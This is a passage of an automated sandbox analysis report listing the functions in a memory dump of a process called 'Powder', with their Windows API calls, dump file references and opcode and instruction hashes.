Part of subcall function 00C948B0: _memmove.LIBCMT ref: 00C948FA

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: 0c89e53519cc2c745de3d31fc8db9f4e129fb6e958b92046eaebb5eb92aaef89
Instruction ID: d7f3111aec0adf16dbee6f45644a82df5437cc98b25ac379e175de87f515d130
Opcode Fuzzy Hash: 0c89e53519cc2c745de3d31fc8db9f4e129fb6e958b92046eaebb5eb92aaef89
Instruction Fuzzy Hash: 2311E332650205ABCF18FB74CC0AFAE77A99F40701F10842AF541A61C1EE709E12BBA4

Function 00CBE3C2 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 00CBE3CE

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: e98a88e74a30a29d67b7f858a420e543b6c598de0f9f4cd3408374276f5f9f4d
Instruction ID: d153ab441254fa1730180dac47c16b0d408b98da5be5b3a6d078717da2c0c471
Opcode Fuzzy Hash: e98a88e74a30a29d67b7f858a420e543b6c598de0f9f4cd3408374276f5f9f4d
Instruction Fuzzy Hash: 442123B4508341DFCB14EF54C448B5ABBE0BF84308F0989ACF89A57322C731E849DBA6

Function 00C94220 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,?,00010000,00000000,00000000,00000000,00000000,00010000,?,00C93CF8,00000000,00010000,00000000,00000000,00000000,00000000), ref: 00C94276

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: dd407c16f2fb1a50dbb2a59bb5ad00121c40c797f774e8177a487ce78ce829ea
Instruction ID: 99793cbe8dd13697d413a0bd31ea70f07d247e9b608d03b07ad124026ac85320
Opcode Fuzzy Hash: dd407c16f2fb1a50dbb2a59bb5ad00121c40c797f774e8177a487ce78ce829ea
Instruction Fuzzy Hash: 89113D31200B019FDB24CF55C484F62B7F5FF44710F10C92DE8AA86A50D770E946CB60

Function 00C91A36 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00C91A77

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 909c6eb8082f508c27c1810d4325afa5a930f6fc64b08e6dae0c8ccad2a2c9e0
Instruction ID: a75b770b26707339ff706c9497508ed189f735097947c0d0b5a182c574ed48ee
Opcode Fuzzy Hash: 909c6eb8082f508c27c1810d4325afa5a930f6fc64b08e6dae0c8ccad2a2c9e0
Instruction Fuzzy Hash: 150126722007026EC7205F38CC06B67BBA8DB447E0F14852AF91ACA1D1EA31E940A794

Function 00CDFEF8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00CDFF33

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 7c89a6838866b00b7d68817a667a739136d86dac31453ca6a0b4d709d5c0d23f
Instruction ID: 2d925afb3997679472b304371c3c5de91b748f2a150fb443dc7d38a60fbd93a1
Opcode Fuzzy Hash: 7c89a6838866b00b7d68817a667a739136d86dac31453ca6a0b4d709d5c0d23f
Instruction Fuzzy Hash: 6801D6322002156BCB14DF2DCC9196BB7A9EF86354714842EF90ACB305E631E901C790

Function 00CF495B Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32(?,?,00007FFF,00000000), ref: 00CF4998

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: EnvironmentVariable
String ID:
API String ID: 1431749950-0
Opcode ID: fd1815666c58a8cefe7121a7ca5fcd5116140cb0ef9cf95083478de41fa351d4
Instruction ID: d44973007ef85cd949a7a6bb4ee9684422d50e9b01e501bac0da09589b8b5376
Opcode Fuzzy Hash: fd1815666c58a8cefe7121a7ca5fcd5116140cb0ef9cf95083478de41fa351d4
Instruction Fuzzy Hash: 44F03135608209AF8B14FB65DC4ACAF7BBDEF45364B004056F9089B261EE70AE41D765

Function 00CE7C7F Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00CA0FE6: std::exception::exception.LIBCMT ref: 00CA101C
Part of subcall function 00CA0FE6: __CxxThrowException@8.LIBCMT ref: 00CA1031

_memset.LIBCMT ref: 00CE7CB4

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Exception@8Throw_memsetstd::exception::exception
String ID:
API String ID: 525207782-0
Opcode ID: 4a3d1a69a03616c74ed48044f8c5a5013d041816e25dad37c22da3cf1f719b36
Instruction ID: a0163421647c8fb8acb3590fa81da1750f67f9950d38be5cd6111d4c8aa793e3
Opcode Fuzzy Hash: 4a3d1a69a03616c74ed48044f8c5a5013d041816e25dad37c22da3cf1f719b36
Instruction Fuzzy Hash: 570119742042019FD325EF5CD941F05BBE5AF5A354F24C45AF5888B392DB72E800DF90

Function 00C94A8C Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

_fseek.LIBCMT ref: 00C94AA4

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: _fseek
String ID:
API String ID: 2937370855-0
Opcode ID: d626904f6cb88cfd62378aba53a4cab051f17c1c31bafaeec442f62cde18398f
Instruction ID: b0689da644847ff3d67e27831d9a2ec03246f9c1ec88b8b49e8345b3cae11525
Opcode Fuzzy Hash: d626904f6cb88cfd62378aba53a4cab051f17c1c31bafaeec442f62cde18398f
Instruction Fuzzy Hash: 68F085B6500208BFDF148F95DC04DEBBB7EEB89324F108198F9045A210D232EA21ABA0

Function 00C94A2F Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,00C927AF,?,00000001), ref: 00C94A63

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: d54a61dd191a15a5e64b2960d63c0b1aada6351fbc2084b07c00e87537139716
Instruction ID: 311341e2ee0c076462471eced963e32c5000e865284c010af84ff00b94f649e3
Opcode Fuzzy Hash: d54a61dd191a15a5e64b2960d63c0b1aada6351fbc2084b07c00e87537139716
Instruction Fuzzy Hash: ADF01571145702DFCB389F65E898C1ABBF0AF143293208A2EE1E683610CB319A85EB54

Function 00C94AB2 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00C94AD0

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 1a81c16e28573863898c67bef1386d759a1651ff521f05548b9e3597368886a1
Instruction ID: 57b8459754eab67adfd1ab8ed6b67e0a37a2a1377a6f2fe417887128b5cb1879
Opcode Fuzzy Hash: 1a81c16e28573863898c67bef1386d759a1651ff521f05548b9e3597368886a1
Instruction Fuzzy Hash: B7F0F87240020DFFDF05CF94C945EAABB79FB15324F208589F9198A252D736DA21AB91

Function 00CF2D68 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 00CF1E06: CloseHandle.KERNEL32(?,?,?,00CF2D8B,?,?), ref: 00CF1E12
Part of subcall function 00CF1E06: CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00CF2D8B,?,?), ref: 00CF1E1F

__beginthread.LIBCMT ref: 00CF2D93

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: CloseCreateEventHandle__beginthread
String ID:
API String ID: 1494023155-0
Opcode ID: bc93ff57d1bc48e280c8c639faf2f4615ae6ef564bead5a7781bef73b11aca3f
Instruction ID: 3b7194671fd8258324779bc4658d7a9a886bb0fb1640abe0be3aab9694c331dc
Opcode Fuzzy Hash: bc93ff57d1bc48e280c8c639faf2f4615ae6ef564bead5a7781bef73b11aca3f
Instruction Fuzzy Hash: CAE0D83191031CB6D7B4A5B5C806FF67E988F01750F184426FA5910093D6745684D6E3

Function 00CA09C5 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 00CA09E4

Part of subcall function 00C91821: _memmove.LIBCMT ref: 00C9185B

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: 9baeed934433c3c0d094d4e09ca05e02ae8415528d1b9a5d38c1d71a43abfae9
Instruction ID: c7b97339e6ccec143c20d4ecd8c15d33e60ecd0e8e9255fd6ebfee42091ca534
Opcode Fuzzy Hash: 9baeed934433c3c0d094d4e09ca05e02ae8415528d1b9a5d38c1d71a43abfae9
Instruction Fuzzy Hash: 90E0863290022857CB21A6989C16FEA77DDDB89690F0541B6FD09D7344D9609C819691

Function 00CE4D18 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?), ref: 00CE4D31

Part of subcall function 00C91821: _memmove.LIBCMT ref: 00C9185B

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: FolderPath_memmove
String ID:
API String ID: 3334745507-0
Opcode ID: acc887277b9e84f65aaa53fbe49af65c7d2d7f5894849ce6774c7410de475b69
Instruction ID: f4126aa9333fe87a179887ca4e094b0d9d7b197fdf24ee7819bc987290b8f3ea
Opcode Fuzzy Hash: acc887277b9e84f65aaa53fbe49af65c7d2d7f5894849ce6774c7410de475b69
Instruction Fuzzy Hash: 9CD05EA190032C3BDF60E6A49C4EDF77BACD744220F000AA17C5DC3242ED649D8586F0

Function 00CE394D Relevance: 1.5, APIs: 1, Instructions: 20fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00CE384C: SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000001,00000000,00000000,00CE3959,00000000,00000000,?,00CD05DB,00D38070,00000002,?,?), ref: 00CE38CA

WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,?,00CD05DB,00D38070,00000002,?,?,?,00000000), ref: 00CE3967

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: File$PointerWrite
String ID:
API String ID: 539440098-0
Opcode ID: 959b14bd2bb43f60f3eb5f1a8467c7c4b1ff79f917aa54967054e30294f50c9b
Instruction ID: 476689f9608f699646db3dd8d98280763dee82682815081be3d29f90bb6d0362
Opcode Fuzzy Hash: 959b14bd2bb43f60f3eb5f1a8467c7c4b1ff79f917aa54967054e30294f50c9b
Instruction Fuzzy Hash: 57E04636400308BBDB20AF94D805ADABBBCEB04320F00465AFD4092111DBB2AE64ABE0

Function 00CE3EF7 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,00CE3E7D,?,?,?), ref: 00CE3F0D

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 544d8aab618ea089250f7fbe8b96cb4bc039d4ca66deb85035a574b34715099a
Instruction ID: 2720d1f4a1ed0ce1234676cafaa4c8bd3a28b10ebde2f18c005989fd53be3903
Opcode Fuzzy Hash: 544d8aab618ea089250f7fbe8b96cb4bc039d4ca66deb85035a574b34715099a
Instruction Fuzzy Hash: B3D0A7315E020CBBEF50DFA0CC06FA8B7ACE701706F1002A4B504D90E0DAB2691497A5

Function 00C942AE Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,?,00CD06E6,00000000,00000000,00000000), ref: 00C942BF

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: f9ff629936ee8fe2299885e8605923352195d5fa9a07e71a195a8d8f0bfd0856
Instruction ID: ca8041736b3eff381cdff18692ba5cc61fdf5eb875f2de1eee7917de4961a165
Opcode Fuzzy Hash: f9ff629936ee8fe2299885e8605923352195d5fa9a07e71a195a8d8f0bfd0856
Instruction Fuzzy Hash: BCD09E74640308BFE610DB80DC46FA97B6CE705710F100194FD04A6290D6B27D508795

Function 00CE4FEC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00CE3BFE), ref: 00CE4FED

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 7a095fc75b9452f6ffc7fd55661faa44309d4cae04950c7f9b15dc137a362363
Instruction ID: c56ebcae7822921e0b926ff438f461123b4eb26e3712b276885d3263b6ab4d89
Opcode Fuzzy Hash: 7a095fc75b9452f6ffc7fd55661faa44309d4cae04950c7f9b15dc137a362363
Instruction Fuzzy Hash: 03B09234000780669D2C2E7D194A09937015846BA97D81B81E878C55E1D639898BA530

Function 00CA547B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00CA5486

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: 250a7abd4cf0b149d76c8c6612ed18efc98b6c147db01eb9434f68c037d30f42
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: E0B092B644020CB7CE012AC2EC03A593F299B45668F408020FB0C1C162A673A6A0A689

Function 00CED6BE Relevance: 1.4, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000002,00000000), ref: 00CED842

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 4a7a7e10fab46ae5c8403ef04db71b4722824779bd7dc0c8a8d9d680b9826658
Instruction ID: 1bb7d6704af8b09b3ed453c606ccafe48229ed964329c9dca1db9a244c497c7c
Opcode Fuzzy Hash: 4a7a7e10fab46ae5c8403ef04db71b4722824779bd7dc0c8a8d9d680b9826658
Instruction Fuzzy Hash: D77185302043428FCB14EF65D495A6EB7E1BF85354F44462DF8969B3A2DB30EE05DB92

Function 00CEC270 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00CE4005: FindFirstFileW.KERNEL32(?,?), ref: 00CE407C
Part of subcall function 00CE4005: DeleteFileW.KERNEL32(?,?,?,?), ref: 00CE40CC
Part of subcall function 00CE4005: FindNextFileW.KERNELBASE(00000000,00000010), ref: 00CE40DD
Part of subcall function 00CE4005: FindClose.KERNEL32(00000000), ref: 00CE40F4

GetLastError.KERNEL32 ref: 00CEC292

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: FileFind$CloseDeleteErrorFirstLastNext
String ID:
API String ID: 2191629493-0
Opcode ID: 6daa3b58d5fc2daa6d83d76ddc6698e1665e62275ad5d83644377d60d8b3a6fa
Instruction ID: f996837664b4d985479b8e2bd7ed282870173de7a40c80a75d22bdf6d5d88297
Opcode Fuzzy Hash: 6daa3b58d5fc2daa6d83d76ddc6698e1665e62275ad5d83644377d60d8b3a6fa
